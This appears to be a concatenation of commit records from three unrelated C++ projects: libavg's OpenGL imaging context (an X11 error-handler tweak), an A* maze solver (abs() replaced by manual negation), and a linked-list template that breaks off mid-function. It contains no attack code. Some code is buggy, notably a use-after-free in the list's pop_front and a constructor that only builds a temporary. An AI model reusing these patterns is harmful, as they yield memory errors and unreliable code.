// Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this library; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//
// Current versions can be found at www.libavg.de
//
#include "OGLImagingContext.h"
#include "../base/Exception.h"
#ifdef _WIN32
// XXX: If the following includes are not there, the MS linker optimizes away
// the classes so they can't be used by plugins anymore (!). Adding /OPT:NOREF
// to the linker flags doesn't help.
#include "IteratingGPUFilter.h"
#include "FilterGetAlpha.h"
#include "FilterErosion.h"
#include "FilterDilation.h"
#include "FilterGetAlpha.h"
#include "FilterResizeBilinear.h"
#include "FilterResizeGaussian.h"
#endif
#include <assert.h>
#include <iostream>
namespace avg {
using namespace std;
#ifdef _WIN32
LONG WINAPI imagingWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hwnd, msg, wParam, lParam);
}
void registerWindowClass()
{
static char * pClassName;
if (pClassName) {
return;
}
pClassName = "GLUT";
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASS wc;
memset(&wc, 0, sizeof(WNDCLASS));
wc.style = CS_OWNDC;
wc.lpfnWndProc = (WNDPROC)imagingWindowProc;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wc.hCursor = LoadCursor(hInstance, IDC_ARROW);
wc.hbrBackground = NULL;
wc.lpszMenuName = NULL;
wc.lpszClassName = pClassName;
BOOL bOK = RegisterClass(&wc);
assert(bOK);
}
#endif
#ifdef linux
static bool s_bX11Error;
static int (*s_DefaultErrorHandler) (Display *, XErrorEvent *);
int X11ErrorHandler(Display * pDisplay, XErrorEvent * pErrEvent)
{
cerr << "X11 error creating offscreen context: " << (int)(pErrEvent->request_code)
<< ", " << (int)(pErrEvent->minor_code) << endl;
if ((pErrEvent->request_code == 145 || pErrEvent->request_code == 144)
&& pErrEvent->minor_code == 7)
{
s_bX11Error = true;
} else {
s_DefaultErrorHandler(pDisplay, pErrEvent);
}
return 0;
}
#endif
OGLImagingContext::OGLImagingContext(const IntPoint & size)
{
#ifdef __APPLE__
GLint attributes[] = {AGL_RGBA, AGL_ALL_RENDERERS,AGL_NONE};
AGLPixelFormat format;
format = aglChoosePixelFormat(NULL, 0, attributes);
assert(format);
m_Context = aglCreateContext(format, NULL);
assert(m_Context);
aglDestroyPixelFormat(format);
bool bOk = aglSetCurrentContext(m_Context);
assert (bOk);
#else
#ifdef linux
Display *dpy;
dpy = XOpenDisplay(0);
if (!dpy) {
throw Exception(AVG_ERR_VIDEO_GENERAL, "No X windows display available.");
}
XVisualInfo *vi;
static int attributes[] = {GLX_RGBA,
GLX_RED_SIZE, 1,
GLX_GREEN_SIZE, 1,
GLX_BLUE_SIZE, 1,
0};
vi = glXChooseVisual(dpy, DefaultScreen(dpy), attributes);
m_Context = glXCreateContext(dpy, vi, 0, GL_TRUE);
assert(m_Context);
Pixmap pmp = XCreatePixmap(dpy, RootWindow(dpy, vi->screen),
8, 8, vi->depth);
GLXPixmap pixmap = glXCreateGLXPixmap(dpy, vi, pmp);
s_bX11Error = false;
s_DefaultErrorHandler = XSetErrorHandler(X11ErrorHandler);
glXMakeCurrent(dpy, pixmap, m_Context);
XSetErrorHandler(s_DefaultErrorHandler);
if (s_bX11Error) {
throw Exception(AVG_ERR_VIDEO_GENERAL, "X error creating OpenGL context.");
}
#else
#ifdef _WIN32
registerWindowClass();
m_hwnd = CreateWindow("GLUT", "GLUT",
WS_CLIPSIBLINGS | WS_CLIPCHILDREN,
0, 0, 500, 300, 0, 0, GetModuleHandle(NULL), 0);
winOGLErrorCheck(m_hDC != 0, "CreateWindow");
m_hDC = GetDC(m_hwnd);
winOGLErrorCheck(m_hDC != 0, "GetDC");
PIXELFORMATDESCRIPTOR pfd;
ZeroMemory(&pfd, sizeof(pfd));
pfd.nSize = sizeof(pfd);
pfd.nVersion = 1;
pfd.dwFlags = PFD_SUPPORT_OPENGL | PFD_DRAW_TO_WINDOW;
pfd.iPixelType = PFD_TYPE_RGBA;
pfd.cColorBits = 32;
pfd.cDepthBits = 32;
pfd.iLayerType = PFD_MAIN_PLANE;
int iFormat = ChoosePixelFormat(m_hDC, &pfd);
winOGLErrorCheck(iFormat != 0, "ChoosePixelFormat");
SetPixelFormat(m_hDC, iFormat, &pfd);
m_Context = wglCreateContext(m_hDC);
winOGLErrorCheck(m_Context != 0, "wglCreateContext");
BOOL bOK = wglMakeCurrent(m_hDC, m_Context);
winOGLErrorCheck(bOK, "wglMakeCurrent");
#endif
#endif
#endif
glproc::init();
if (!isSupported()) {
throw Exception(AVG_ERR_VIDEO_GENERAL,
"GPU imaging not supported by current OpenGL configuration.");
}
// Coordinates
setSize(size);
setStandardState(size);
// IteratingGPUFilter f(IntPoint(100, 100), 15);
}
OGLImagingContext::~OGLImagingContext()
{
#ifdef __APPLE__
if (m_Context) {
aglSetCurrentContext(0);
aglDestroyContext(m_Context);
m_Context = 0;
}
#endif
#ifdef _WIN32
if (m_Context) {
wglDeleteContext(m_Context);
DeleteDC(m_hDC);
DestroyWindow(m_hwnd);
}
#endif
}
void OGLImagingContext::activate()
{
#ifdef __APPLE__
bool bOk = aglSetCurrentContext(m_Context);
assert(bOk);
#elif defined _WIN32
BOOL bOk = wglMakeCurrent(m_hDC, m_Context);
assert(bOk);
#endif
// TODO: X version
}
void OGLImagingContext::setSize(const IntPoint& size)
{
m_Size = size;
setSizeState(size);
}
bool OGLImagingContext::isSupported()
{
int glMajorVer;
int glMinorVer;
int slMajorVer;
int slMinorVer;
getGLVersion(glMajorVer, glMinorVer);
getGLShadingLanguageVersion(slMajorVer, slMinorVer);
// Not sure if we need shader version 1.2 as well - we'll see.
return (glMajorVer > 1 && queryOGLExtension("GL_ARB_texture_rectangle") &&
queryOGLExtension("GL_ARB_pixel_buffer_object") &&
queryOGLExtension("GL_EXT_framebuffer_object"));
}
void OGLImagingContext::setStandardState(const IntPoint & size)
{
setSizeState(size);
// Shading etc.
glDisable(GL_BLEND);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_BLEND)");
glShadeModel(GL_FLAT);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glShadeModel(GL_FLAT)");
glDisable(GL_DEPTH_TEST);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_DEPTH_TEST)");
glDisable(GL_STENCIL_TEST);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_STENCIL_TEST)");
// Texturing
glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glTexEnvf()");
glBlendFunc(GL_ONE, GL_ZERO);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glBlendFunc()");
glEnable(GL_TEXTURE_RECTANGLE_ARB);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glEnable(GL_TEXTURE_RECTANGLE_ARB);");
glDisable(GL_MULTISAMPLE);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_MULTISAMPLE);");
glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
glPixelStorei(GL_PACK_ALIGNMENT, 1);
glEnableClientState(GL_VERTEX_ARRAY);
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
}
void OGLImagingContext::setSizeState(const IntPoint & size)
{
glViewport(0, 0, size.x, size.y);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glViewport()");
glMatrixMode(GL_PROJECTION);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glMatrixMode()");
glLoadIdentity();
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glLoadIdentity()");
gluOrtho2D(0, size.x, size.y, 0);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "gluOrtho2D()");
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glLoadIdentity()");
}
}
<commit_msg>Another possible fix for mesa testgpu crash.<commit_after>//
// libavg - Media Playback Engine.
// Copyright (C) 2003-2008 Ulrich von Zadow
//
// This library is free software; you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public
// License as published by the Free Software Foundation; either
// version 2 of the License, or (at your option) any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with this library; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//
// Current versions can be found at www.libavg.de
//
#include "OGLImagingContext.h"
#include "../base/Exception.h"
#ifdef _WIN32
// XXX: If the following includes are not there, the MS linker optimizes away
// the classes so they can't be used by plugins anymore (!). Adding /OPT:NOREF
// to the linker flags doesn't help.
#include "IteratingGPUFilter.h"
#include "FilterGetAlpha.h"
#include "FilterErosion.h"
#include "FilterDilation.h"
#include "FilterGetAlpha.h"
#include "FilterResizeBilinear.h"
#include "FilterResizeGaussian.h"
#endif
#include <assert.h>
#include <iostream>
namespace avg {
using namespace std;
#ifdef _WIN32
LONG WINAPI imagingWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hwnd, msg, wParam, lParam);
}
void registerWindowClass()
{
static char * pClassName;
if (pClassName) {
return;
}
pClassName = "GLUT";
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASS wc;
memset(&wc, 0, sizeof(WNDCLASS));
wc.style = CS_OWNDC;
wc.lpfnWndProc = (WNDPROC)imagingWindowProc;
wc.hInstance = hInstance;
wc.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wc.hCursor = LoadCursor(hInstance, IDC_ARROW);
wc.hbrBackground = NULL;
wc.lpszMenuName = NULL;
wc.lpszClassName = pClassName;
BOOL bOK = RegisterClass(&wc);
assert(bOK);
}
#endif
#ifdef linux
static bool s_bX11Error;
static int (*s_DefaultErrorHandler) (Display *, XErrorEvent *);
int X11ErrorHandler(Display * pDisplay, XErrorEvent * pErrEvent)
{
cerr << "X11 error creating offscreen context: " << (int)(pErrEvent->request_code)
<< ", " << (int)(pErrEvent->minor_code) << endl;
s_bX11Error = true;
return 0;
}
#endif
OGLImagingContext::OGLImagingContext(const IntPoint & size)
{
#ifdef __APPLE__
GLint attributes[] = {AGL_RGBA, AGL_ALL_RENDERERS,AGL_NONE};
AGLPixelFormat format;
format = aglChoosePixelFormat(NULL, 0, attributes);
assert(format);
m_Context = aglCreateContext(format, NULL);
assert(m_Context);
aglDestroyPixelFormat(format);
bool bOk = aglSetCurrentContext(m_Context);
assert (bOk);
#else
#ifdef linux
Display *dpy;
dpy = XOpenDisplay(0);
if (!dpy) {
throw Exception(AVG_ERR_VIDEO_GENERAL, "No X windows display available.");
}
XVisualInfo *vi;
static int attributes[] = {GLX_RGBA,
GLX_RED_SIZE, 1,
GLX_GREEN_SIZE, 1,
GLX_BLUE_SIZE, 1,
0};
vi = glXChooseVisual(dpy, DefaultScreen(dpy), attributes);
m_Context = glXCreateContext(dpy, vi, 0, GL_TRUE);
assert(m_Context);
Pixmap pmp = XCreatePixmap(dpy, RootWindow(dpy, vi->screen),
8, 8, vi->depth);
GLXPixmap pixmap = glXCreateGLXPixmap(dpy, vi, pmp);
s_bX11Error = false;
s_DefaultErrorHandler = XSetErrorHandler(X11ErrorHandler);
glXMakeCurrent(dpy, pixmap, m_Context);
XSetErrorHandler(s_DefaultErrorHandler);
if (s_bX11Error) {
throw Exception(AVG_ERR_VIDEO_GENERAL, "X error creating OpenGL context.");
}
#else
#ifdef _WIN32
registerWindowClass();
m_hwnd = CreateWindow("GLUT", "GLUT",
WS_CLIPSIBLINGS | WS_CLIPCHILDREN,
0, 0, 500, 300, 0, 0, GetModuleHandle(NULL), 0);
winOGLErrorCheck(m_hDC != 0, "CreateWindow");
m_hDC = GetDC(m_hwnd);
winOGLErrorCheck(m_hDC != 0, "GetDC");
PIXELFORMATDESCRIPTOR pfd;
ZeroMemory(&pfd, sizeof(pfd));
pfd.nSize = sizeof(pfd);
pfd.nVersion = 1;
pfd.dwFlags = PFD_SUPPORT_OPENGL | PFD_DRAW_TO_WINDOW;
pfd.iPixelType = PFD_TYPE_RGBA;
pfd.cColorBits = 32;
pfd.cDepthBits = 32;
pfd.iLayerType = PFD_MAIN_PLANE;
int iFormat = ChoosePixelFormat(m_hDC, &pfd);
winOGLErrorCheck(iFormat != 0, "ChoosePixelFormat");
SetPixelFormat(m_hDC, iFormat, &pfd);
m_Context = wglCreateContext(m_hDC);
winOGLErrorCheck(m_Context != 0, "wglCreateContext");
BOOL bOK = wglMakeCurrent(m_hDC, m_Context);
winOGLErrorCheck(bOK, "wglMakeCurrent");
#endif
#endif
#endif
glproc::init();
if (!isSupported()) {
throw Exception(AVG_ERR_VIDEO_GENERAL,
"GPU imaging not supported by current OpenGL configuration.");
}
// Coordinates
setSize(size);
setStandardState(size);
// IteratingGPUFilter f(IntPoint(100, 100), 15);
}
OGLImagingContext::~OGLImagingContext()
{
#ifdef __APPLE__
if (m_Context) {
aglSetCurrentContext(0);
aglDestroyContext(m_Context);
m_Context = 0;
}
#endif
#ifdef _WIN32
if (m_Context) {
wglDeleteContext(m_Context);
DeleteDC(m_hDC);
DestroyWindow(m_hwnd);
}
#endif
}
void OGLImagingContext::activate()
{
#ifdef __APPLE__
bool bOk = aglSetCurrentContext(m_Context);
assert(bOk);
#elif defined _WIN32
BOOL bOk = wglMakeCurrent(m_hDC, m_Context);
assert(bOk);
#endif
// TODO: X version
}
void OGLImagingContext::setSize(const IntPoint& size)
{
m_Size = size;
setSizeState(size);
}
bool OGLImagingContext::isSupported()
{
int glMajorVer;
int glMinorVer;
int slMajorVer;
int slMinorVer;
getGLVersion(glMajorVer, glMinorVer);
getGLShadingLanguageVersion(slMajorVer, slMinorVer);
// Not sure if we need shader version 1.2 as well - we'll see.
return (glMajorVer > 1 && queryOGLExtension("GL_ARB_texture_rectangle") &&
queryOGLExtension("GL_ARB_pixel_buffer_object") &&
queryOGLExtension("GL_EXT_framebuffer_object"));
}
void OGLImagingContext::setStandardState(const IntPoint & size)
{
setSizeState(size);
// Shading etc.
glDisable(GL_BLEND);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_BLEND)");
glShadeModel(GL_FLAT);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glShadeModel(GL_FLAT)");
glDisable(GL_DEPTH_TEST);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_DEPTH_TEST)");
glDisable(GL_STENCIL_TEST);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_STENCIL_TEST)");
// Texturing
glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glTexEnvf()");
glBlendFunc(GL_ONE, GL_ZERO);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glBlendFunc()");
glEnable(GL_TEXTURE_RECTANGLE_ARB);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glEnable(GL_TEXTURE_RECTANGLE_ARB);");
glDisable(GL_MULTISAMPLE);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glDisable(GL_MULTISAMPLE);");
glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
glPixelStorei(GL_PACK_ALIGNMENT, 1);
glEnableClientState(GL_VERTEX_ARRAY);
glEnableClientState(GL_TEXTURE_COORD_ARRAY);
}
void OGLImagingContext::setSizeState(const IntPoint & size)
{
glViewport(0, 0, size.x, size.y);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glViewport()");
glMatrixMode(GL_PROJECTION);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glMatrixMode()");
glLoadIdentity();
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glLoadIdentity()");
gluOrtho2D(0, size.x, size.y, 0);
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "gluOrtho2D()");
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, "glLoadIdentity()");
}
}
<|endoftext|>
|
<commit_before><commit_msg>Set up country id after editing.<commit_after><|endoftext|>
|
<commit_before>#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include <queue>
#include <stack>
#include <cmath>
using namespace std;
struct node {
int i;
int j;
int uc;
double hc;
double tc;
node *p;
node *c1;
node *c2;
node *c3;
node *c4;
node()
{
i = 1;
j = 1;
uc = 0;
hc = 0;
tc = 0;
p = NULL;
c1 = NULL;
c2 = NULL;
c3 = NULL;
c4 = NULL;
}
node(int a, int b)
{
node();
i = a;
j = b;
}
node(const node &x)
{
i = x.i;
j = x.j;
uc = x.uc;
hc = x.hc;
tc = x.tc;
p = x.p;
c1 = x.c1;
c2 = x.c2;
c3 = x.c3;
c4 = x.c4;
}
void operator=(const node &x)
{
i = x.i;
j = x.j;
uc = x.uc;
hc = x.hc;
tc = x.tc;
p = x.p;
c1 = x.c1;
c2 = x.c2;
c3 = x.c3;
c4 = x.c4;
}
void print()
{
cout << "(" << i << ", " << j << ")" << endl;
}
};
struct compare {
bool operator()(const node& l,const node& r)
{
return l.tc > r.tc;
}
};
vector <node> VISITED;
priority_queue <node, vector<node>, compare> SEARCH;
void find_start(vector <vector <char> > MAZE, node &start)
{
for (int i = 0; i < MAZE.size(); i++)
{
if (MAZE.at(i).at(0) == ' ')
{
start.i = i;
start.j = 0;
return;
}
}
for (int j = 0; j < MAZE.at(0).size(); j++)
{
if (MAZE.at(0).at(j) == ' ')
{
start.i = 0;
start.j = j;
return;
}
}
}
void find_end(vector < vector <char> > MAZE, node &end)
{
for (int i = 0; i < MAZE.size(); i++)
{
if (MAZE.at(i).at(MAZE.at(i).size() - 1) == ' ')
{
end.i = i;
end.j = MAZE.at(0).size() - 1;
return;
}
}
for (int j = 0; j < MAZE.at(0).size(); j++)
{
if (MAZE.at(MAZE.size() - 1).at(j) == ' ')
{
end.i = MAZE.size() - 1;
end.j = j;
return;
}
}
}
bool already_visited(node n)
{
for (int i = 0; i < VISITED.size(); i++)
{
if (VISITED.at(i).i == n.i && VISITED.at(i).j == n.j)
{
return true;
}
}
return false;
}
double heuristic(node n, node end)
{
int x = abs(n.i - end.i);
int y = abs(n.j - end.j);
return x + y;
}
void print(vector < vector <char> > MAZE, node n)
{
node curr = n;
stack <node> TO_PRINT;
TO_PRINT.push(curr);
while (curr.p != NULL)
{
curr = *curr.p;
TO_PRINT.push(curr);
}
while (!TO_PRINT.empty())
{
int a = TO_PRINT.top().i;
int b = TO_PRINT.top().j;
MAZE.at(a).at(b) = 'x';
TO_PRINT.pop();
}
for (int i = 0; i < MAZE.size(); i++)
{
for (int j = 0; j < MAZE.at(i).size(); j++)
{
cout << MAZE.at(i).at(j);
}
cout << endl;
}
}
void search(vector < vector <char> > &MAZE, node start, node end)
{
SEARCH.push(start);
while (!SEARCH.empty())
{
node *curr = new node(SEARCH.top());
if (curr->i == end.i && curr->j == end.j)
{
print(MAZE, SEARCH.top());
return;
}
SEARCH.pop();
VISITED.push_back(*curr);
node *n1 = new node(curr->i + 1, curr->j); //up
node *n2 = new node(curr->i - 1, curr->j); //down
node *n3 = new node(curr->i, curr->j + 1); //right
node *n4 = new node(curr->i, curr->j - 1); //left
n1->uc = curr->uc + 1;
n2->uc = curr->uc + 1;
n3->uc = curr->uc + 1;
n4->uc = curr->uc + 1;
n1->hc = heuristic(*n1, end);
n2->hc = heuristic(*n2, end);
n3->hc = heuristic(*n3, end);
n4->hc = heuristic(*n4, end);
n1->tc = n1->uc + n1->hc;
n2->tc = n2->uc + n2->hc;
n3->tc = n3->uc + n3->hc;
n4->tc = n4->uc + n4->hc;
if (n1->i < MAZE.size())
{
if (MAZE.at(n1->i).at(n1->j) == ' ' && !already_visited(*n1))
{
curr->c1 = n1;
n1->p = curr;
SEARCH.push(*n1);
}
}
if (n2->i > -1)
{
if (MAZE.at(n2->i).at(n2->j) == ' ' && !already_visited(*n2))
{
curr->c2 = n2;
n2->p = curr;
SEARCH.push(*n2);
}
}
if (n3->j < MAZE.at(0).size())
{
if (MAZE.at(n3->i).at(n3->j) == ' ' && !already_visited(*n3))
{
curr->c3 = n3;
n3->p = curr;
SEARCH.push(*n3);
}
}
if (n4->j > -1)
{
if (MAZE.at(n4->i).at(n4->j) == ' ' && !already_visited(*n4))
{
curr->c4 = n4;
n4->p = curr;
SEARCH.push(*n4);
}
}
}
cout << "NO SOLUTION" << endl;
for (int i = 0; i < VISITED.size(); i++)
{
int a = VISITED.at(i).i;
int b = VISITED.at(i).j;
MAZE.at(a).at(b) = 'x';
}
for (int i = 0; i < MAZE.size(); i++)
{
for (int j = 0; j < MAZE.at(i).size(); j++)
{
cout << MAZE.at(i).at(j);
}
cout << endl;
}
}
int main(int argc, char *argv[])
{
string filename;
if (argc == 2)
{
filename = argv[1];
}
if (argc == 1)
{
cout << "Enter the file name: " << endl;
cin >> filename;
}
string line;
vector < vector <char> > MAZE;
ifstream file(filename.c_str());
if (file.is_open())
{
while (getline(file, line))
{
vector <char> lineData;
stringstream lineStream(line);
char value;
while (lineStream >> noskipws >> value)
{
lineData.push_back(value);
}
MAZE.push_back(lineData);
}
file.close();
}
else
{
cout << "Unable to open file" << endl;
return 0;
}
node start;
node end;
find_start(MAZE, start);
find_end(MAZE, end);
search(MAZE, start, end);
return 0;
}
<commit_msg>replaced abs for computers without cmath<commit_after>#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include <queue>
#include <stack>
using namespace std;
struct node {
int i;
int j;
int uc;
double hc;
double tc;
node *p;
node *c1;
node *c2;
node *c3;
node *c4;
node()
{
i = 1;
j = 1;
uc = 0;
hc = 0;
tc = 0;
p = NULL;
c1 = NULL;
c2 = NULL;
c3 = NULL;
c4 = NULL;
}
node(int a, int b)
{
node();
i = a;
j = b;
}
node(const node &x)
{
i = x.i;
j = x.j;
uc = x.uc;
hc = x.hc;
tc = x.tc;
p = x.p;
c1 = x.c1;
c2 = x.c2;
c3 = x.c3;
c4 = x.c4;
}
void operator=(const node &x)
{
i = x.i;
j = x.j;
uc = x.uc;
hc = x.hc;
tc = x.tc;
p = x.p;
c1 = x.c1;
c2 = x.c2;
c3 = x.c3;
c4 = x.c4;
}
void print()
{
cout << "(" << i << ", " << j << ")" << endl;
}
};
struct compare {
bool operator()(const node& l,const node& r)
{
return l.tc > r.tc;
}
};
vector <node> VISITED;
priority_queue <node, vector<node>, compare> SEARCH;
void find_start(vector <vector <char> > MAZE, node &start)
{
for (int i = 0; i < MAZE.size(); i++)
{
if (MAZE.at(i).at(0) == ' ')
{
start.i = i;
start.j = 0;
return;
}
}
for (int j = 0; j < MAZE.at(0).size(); j++)
{
if (MAZE.at(0).at(j) == ' ')
{
start.i = 0;
start.j = j;
return;
}
}
}
void find_end(vector < vector <char> > MAZE, node &end)
{
for (int i = 0; i < MAZE.size(); i++)
{
if (MAZE.at(i).at(MAZE.at(i).size() - 1) == ' ')
{
end.i = i;
end.j = MAZE.at(0).size() - 1;
return;
}
}
for (int j = 0; j < MAZE.at(0).size(); j++)
{
if (MAZE.at(MAZE.size() - 1).at(j) == ' ')
{
end.i = MAZE.size() - 1;
end.j = j;
return;
}
}
}
bool already_visited(node n)
{
for (int i = 0; i < VISITED.size(); i++)
{
if (VISITED.at(i).i == n.i && VISITED.at(i).j == n.j)
{
return true;
}
}
return false;
}
double heuristic(node n, node end)
{
int x = n.i - end.i;
if (x < 0)
x *= -1;
int y = n.j - end.j;
if (y < 0)
y *= -1;
return x + y;
}
void print(vector < vector <char> > MAZE, node n)
{
node curr = n;
stack <node> TO_PRINT;
TO_PRINT.push(curr);
while (curr.p != NULL)
{
curr = *curr.p;
TO_PRINT.push(curr);
}
while (!TO_PRINT.empty())
{
int a = TO_PRINT.top().i;
int b = TO_PRINT.top().j;
MAZE.at(a).at(b) = 'x';
TO_PRINT.pop();
}
for (int i = 0; i < MAZE.size(); i++)
{
for (int j = 0; j < MAZE.at(i).size(); j++)
{
cout << MAZE.at(i).at(j);
}
cout << endl;
}
}
void search(vector < vector <char> > &MAZE, node start, node end)
{
SEARCH.push(start);
while (!SEARCH.empty())
{
node *curr = new node(SEARCH.top());
if (curr->i == end.i && curr->j == end.j)
{
print(MAZE, SEARCH.top());
return;
}
SEARCH.pop();
VISITED.push_back(*curr);
node *n1 = new node(curr->i + 1, curr->j); //up
node *n2 = new node(curr->i - 1, curr->j); //down
node *n3 = new node(curr->i, curr->j + 1); //right
node *n4 = new node(curr->i, curr->j - 1); //left
n1->uc = curr->uc + 1;
n2->uc = curr->uc + 1;
n3->uc = curr->uc + 1;
n4->uc = curr->uc + 1;
n1->hc = heuristic(*n1, end);
n2->hc = heuristic(*n2, end);
n3->hc = heuristic(*n3, end);
n4->hc = heuristic(*n4, end);
n1->tc = n1->uc + n1->hc;
n2->tc = n2->uc + n2->hc;
n3->tc = n3->uc + n3->hc;
n4->tc = n4->uc + n4->hc;
if (n1->i < MAZE.size())
{
if (MAZE.at(n1->i).at(n1->j) == ' ' && !already_visited(*n1))
{
curr->c1 = n1;
n1->p = curr;
SEARCH.push(*n1);
}
}
if (n2->i > -1)
{
if (MAZE.at(n2->i).at(n2->j) == ' ' && !already_visited(*n2))
{
curr->c2 = n2;
n2->p = curr;
SEARCH.push(*n2);
}
}
if (n3->j < MAZE.at(0).size())
{
if (MAZE.at(n3->i).at(n3->j) == ' ' && !already_visited(*n3))
{
curr->c3 = n3;
n3->p = curr;
SEARCH.push(*n3);
}
}
if (n4->j > -1)
{
if (MAZE.at(n4->i).at(n4->j) == ' ' && !already_visited(*n4))
{
curr->c4 = n4;
n4->p = curr;
SEARCH.push(*n4);
}
}
}
cout << "NO SOLUTION" << endl;
for (int i = 0; i < VISITED.size(); i++)
{
int a = VISITED.at(i).i;
int b = VISITED.at(i).j;
MAZE.at(a).at(b) = 'x';
}
for (int i = 0; i < MAZE.size(); i++)
{
for (int j = 0; j < MAZE.at(i).size(); j++)
{
cout << MAZE.at(i).at(j);
}
cout << endl;
}
}
int main(int argc, char *argv[])
{
string filename;
if (argc == 2)
{
filename = argv[1];
}
if (argc == 1)
{
cout << "Enter the file name: " << endl;
cin >> filename;
}
string line;
vector < vector <char> > MAZE;
ifstream file(filename.c_str());
if (file.is_open())
{
while (getline(file, line))
{
vector <char> lineData;
stringstream lineStream(line);
char value;
while (lineStream >> noskipws >> value)
{
lineData.push_back(value);
}
MAZE.push_back(lineData);
}
file.close();
}
else
{
cout << "Unable to open file" << endl;
return 0;
}
node start;
node end;
find_start(MAZE, start);
find_end(MAZE, end);
search(MAZE, start, end);
return 0;
}
<|endoftext|>
|
<commit_before># ifndef BUW_LIST_HPP
# define BUW_LIST_HPP
# include <iostream>//debug
# include <cstddef>
// List . hpp
template < typename T >
struct List ;
template < typename T >
struct ListNode
{
ListNode():
m_value(), m_prev(nullptr), m_next(nullptr) {}
ListNode(T const& v, ListNode *prev, ListNode *next ):
m_value(v), m_prev(prev), m_next (next) {}
T m_value ;
ListNode * m_prev ;
ListNode * m_next ;
};
template < typename T >
struct ListIterator
{
typedef ListIterator <T> Self ;
typedef T value_type ;
typedef T * pointer ;
typedef T & reference ;
typedef ptrdiff_t difference_type ;
typedef std::forward_iterator_tag iterator_category ;
friend class List <T>;
ListIterator(): m_node{nullptr} {}
ListIterator( ListNode <T> *n ): m_node{n} {}
reference operator* () const
{
return m_node->m_value;
}
pointer operator ->() const
{
return *m_node;
}
Self & operator ++()
{
m_node = m_node -> m_next;
return *this;
}
Self operator ++( int )
{
m_node = m_node -> m_next;
return *this;
}
bool operator ==( const Self & x ) const
{
return m_node == x.m_node;
}
bool operator !=( const Self & x ) const
{
return m_node != x.m_node;
}
Self next () const
{
if (m_node) return ListIterator (m_node -> m_next);
else return ListIterator (nullptr);
}
private :
ListNode <T> *m_node = nullptr ;
};
template < typename T >
struct ListConstIterator
{
friend class List <T >;
public :
// not implemented yet
private :
ListNode <T >* m_node = nullptr ;
};
template < typename T >
class List
{
public :
typedef T value_type ;
typedef T * pointer ;
typedef const T * const_pointer ;
typedef T & reference ;
typedef const T & const_reference ;
typedef ListIterator <T > iterator ;
typedef ListConstIterator <T > const_iterator ;
friend class ListIterator <T >;
friend class ListConstIterator <T >;
List(): m_size{0}, m_first {nullptr}, m_last {nullptr}{};
//erste idee: List(): m_size{origin.size()}, m_first {origin.m_first}, m_last {origin.m_last}{}; <- wäre aber keine kope sondern verknüpfung
List(List<T> const& origin): m_size{0},m_first {nullptr}, m_last {nullptr}
{
for(auto i = origin.begin(); i!= origin.end() ; i++)
{
push_back(*i);
}
}
~List()
{
clear();
}
bool empty () const
{
return m_size == 0;
}
std :: size_t size () const
{
return m_size;
}
void push_front(T const& val)
{
if(empty())
{
m_first = new ListNode<T>{val, nullptr, nullptr};
m_last = m_first;
}
else
{
ListNode <T>* newFirst = new ListNode<T>{val, nullptr , m_first};
m_first = newFirst ;
m_first->m_next->m_prev=m_first;
}
++m_size;
}
void push_back(T const & val)
{
if(empty())
{
m_first = new ListNode<T>{val, nullptr, nullptr};
m_last = m_first;
}
else
{
ListNode <T>* newLast= new ListNode<T>{val, m_last , nullptr };
m_last = newLast;
m_last->m_prev->m_next=m_last;
}
++m_size;
}
void pop_front()
{
if(m_first != nullptr)
{
assert(m_first != nullptr); // makro
delete m_first;
m_first = m_first->m_next;
--m_size;
